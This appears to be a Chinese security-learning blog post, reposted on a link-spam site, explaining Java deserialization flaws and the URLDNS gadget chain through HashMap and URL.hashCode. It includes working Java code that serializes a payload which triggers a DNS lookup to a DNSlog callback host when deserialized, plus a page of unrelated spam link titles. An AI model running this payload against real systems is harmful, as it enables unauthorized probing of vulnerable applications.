当前位置: 首页 > wzjs >正文

wordpress使用缩略seo搜索引擎优化总结报告

wordpress使用缩略,seo搜索引擎优化总结报告,网站方案策划书,网站建设 推广信息反序列化的基本原理 基础普及 : 对象初始化数据方法 :1、使用构造方法 2、使用封装中的 set,get方法 这边我们就使用 1 注意 我们之后还需要进行 接入 序列化的接口 : 先进行序列化 : 反序列化: 反序列化导致的安…

反序列化的基本原理

基础普及 : 对象初始化数据方法 :1、使用构造方法 2、使用封装中的 set,get方法

这边我们就使用 1    注意 我们之后还需要进行 接入 序列化的接口 :

先进行序列化 :

反序列化:

反序列化导致的安全问题

主要就是函数 readObject 的问题

1、readObject()函数的重写

在类中重写一个方法

之后运行 就会发现 readObject 反序列化函数被重新为 执行计算机

反序列化链练习:

如果就是对方的程序本身是没有可利用的函数如重写的 object() , ToString 的时候我们就需要去深究对方的链

分析流程 :  1、 分析类有无可利用的函数    Hashmap这个类 

有可利用的  但是我们还需要进行分析这个链的底层没有嘛如命令执行之类的函数可以利用

这个时候我们反序列化的对象  就是我们 new 的这个 Hashmap的对象

现在的思路 : Hashmap.read -> putVal

然后找到这个函数 点击进去

找到   putVal 是这个put函数进行返回的   hash这个函数是常用的我们看看能不能找到更多的链

主要的目的就是拓展依赖链  然后找到最终的利用出口

这个函数是   hash(key)

Hashmap.read -> putVal ->put -> hash(key)
然后找到 hash内有个   点击进去

然后我们就会发现链被拓展了 因为这个hashcode是这个依赖的一个父类 

我们点击左边这个拓展子类

Hashmap.read -> putVal ->put -> hash(key)->hashCode()

找到这个实现方法  那怎么实现这个跳转呢   hash(key) 我们让key =URL 不就可以了  

然后他里面的方法 :

搜索了一下这个 hashcode  

发现他有个默认值是 -1 (这个在后面的利用有关键作用)

点击到这个 handler 中去

现在 :Hashmap.read -> putVal ->put -> hash(key)->URL.hashCode()->URL.hashCode().hander

然后这个的意思就是  

URLStreamHandler=handler

点击到这个  URLStreamHandler 中去

最后发现这个url利用的 地址解析也就是 DNS 解析

Hashmap.read -> putVal ->put -> hash(key)->URL.hashCode()->URL.hashCode().hander=URLStreamHandler->getHostAddress(URL u) 

然后这个链就成了 就是可以使用  利用反序列化之后的类执行重写的readobject 这个函数进行DNS解析

利用过程 : 先新建一个 DNSlog

yakit中反连->DNS

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;public class DNS implements Serializable {public static void main(String[] args) throws Exception {//我们需要初始化的内容  1、是进入逻辑的  让key=URL  2、hashCode=-1  3、 设置url为我们可控的地址//新建一个对象HashMap<URL,Integer> hashMap=new HashMap<>();// 创建一个 url 类对象URL url = new URL("http://psckybvuzm.iyhc.eu.org"); //需要利用的dns代码// 我们的目的就是需要把  hashcode 设置为 -1Class<? extends URL> aClass = url.getClass();    // 这个就是获取上面url对象的成员方法Field hashCode = aClass.getDeclaredField("hashCode");hashCode.setAccessible(true); // 反射获取 hashCode 方法  setAccessible 这样才能获取到封装的成员方法hashCode.set(url,122222);hashMap.put(url,1);   //这个是入口把 put进行调用put Val 设置为 第一个参数就是key 把 key设置为 URLhashCode.set(url,-1);
// 方法的调用就是为了引出后面的DNSserializable(hashMap);}public static void serializable(Object obj) throws Exception {// 创建一个 ObjectOutputStream 对象,将数据写入 ser.bin 文件ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("F:\\渗透\\编程类pc java php\\JAVA安全开发\\046-Web开发-JavaEE应用&FastJson&反序列化&打包代码等\\SerializableUrldns\\src\\main\\java\\dns.bin"));// 将传入的对象写入文件oos.writeObject(obj);}
}

这个是利用的代码

反序列化 :

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class Dnsunser {public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();   //使用 Hashmap的原因就是为了 重新 readObject()return o;}public static void main(String[] args) throws IOException, ClassNotFoundException {Object obj = UnSerializableTest("dns.bin");}
}

最后(ip变了是因为我使用的科学上网)

http://www.dtcms.com/wzjs/226996.html

相关文章:

  • 上海市网站建设厦门站长优化工具
  • 南山建网站公司百度网盘怎么提取别人资源
  • 专业网站建设怎么样百度推广网站一年多少钱
  • wordpress小说站群seo网络推广专员招聘
  • 柳州正规网站制作太原百度搜索排名优化
  • 柳州 网站开发百度关键词竞价价格查询
  • 高质量免费的网站阿里云官网首页
  • 鹤壁做网站公司武汉seo服务外包
  • 四川省人民政府网站官网宣传软文是什么意思
  • 跨境电商网站模板百度网页制作
  • 自己创办网站中国最大的企业培训公司
  • 漳州网站建设优化推广泉州关键词搜索排名
  • 各大网站做推广广告百度大搜推广开户
  • wordpress子域名站点icp备案查询官网
  • 韩国电商网站排名提升seo排名的方法
  • 如果网站没有icp备案号阿里指数查询官网
  • 网站建设与管理专业就业如何做好宣传推广
  • 肇庆市建设企业网站怎么样花都网站建设公司
  • dedecms网站栏目管理广告软文案例
  • 把网站放到服务器提高工作效率的方法有哪些
  • 网站制作公司前十排名营销型网站建设服务
  • 全景地图网站开发无锡网站seo顾问
  • 有需要网站建设的没深圳网站提升排名
  • css网站元素设计怎样进行seo推广
  • 重庆竣工验收备案网上查询西安企业seo
  • 电子商务网站模块韩国搜索引擎排名
  • 做网站首页置顶多少钱百度竞价员
  • 电子商务网站建设教材seo外链友情链接
  • 网站建设联系方式怎么样拓展客户资源
  • 网站正能量免费软件对网络营销的认识有哪些